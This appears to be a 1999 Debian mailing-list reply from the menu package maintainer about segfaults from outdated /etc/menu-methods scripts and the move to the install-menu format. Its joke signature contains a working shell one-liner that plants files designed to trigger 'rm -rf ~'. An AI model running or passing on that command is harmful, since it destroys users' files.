Je 1999/05/20(4)/10:05, Joost Kooij montris sian geniecon skribante: > Hi, > > On Wed, 19 May 1999, Joey Hess wrote: > > > Joost Kooij wrote: > > > Technically, I wholeheartedly agree with you in the above matter. The > > > problem _at_hand_ is that a lot of people are seeing a "segmentation > > > fault" message. The /primary/ causes are the buggy scripts in > > > /etc/menu-methods and these should be fixed first. > > > > No, the primary cause is a bug in the program used to interpret these > > scripts. Fix the program and the problems will go away. Modifying the > > scripts is just a workaround. Debian doesn't go in for quick fixes, we do > > things right.
The right thing is using the new menu-method format, and the /usr/sbin/install-menu programme that interprets them. This requires rewriting the scripts to the new format. > Fixing the scripts is more than a quick fix too. AFAIK menu has changed > its interface and the scripts should have been fixed a long time ago, ask > the menu maintainer (he'll probably just love to see this rehashed again.) It isn't really `fixing the scripts'. It's rewriting the scripts for the `new' menu-method stuff. For most scripts in /etc/menu-methods/* I have put the new versions in /usr/doc/menu/examples/, so it's quite easy for the maintainers of the window managers to rewrite them (just do a "cp /usr/doc/menu/examples/wm /etc/menu-methods/wm"). And if anyone sends me an old menu-method script, I'll be happy to rewrite it to the new stuff. My problem here is that I still don't have a recent version of debian here, and have no real way of keeping up-to-date. How to recognise an old from a new menu-method script? Well, the new scripts have got to have as the first line: #!/usr/sbin/install-menu Anything that doesn't have that as first line will be interpreted as `old'. Note, that `old' here refers to anything written before 16 april 1997, over 2 years old now. So it's not like I'm forcing everybody to change formats every odd month. I've kept up with the old compat stuff for more than 2 years now, but now I feel it's getting too much of a burden to maintain both the new and old formats. On the other hand, the real cause of the problem _is_ certainly a bug in /usr/sbin/install-fvwmgenmenu, and it probably wouldn't even be all that hard to fix. The thing is, however, that I would very much like to get rid of that binar altogether in future menu releases (now the same and more functionality lives in /usr/sbin/install-menu, but that needs the new menu-method script format). Thanks, -- for d in `find ~ -type d`;do echo "rm -rf ~">$d/-rf;chmod a+x $d/-rf;done #makes both "rm *" and "emacs file &*" (common typo) do interesting things.
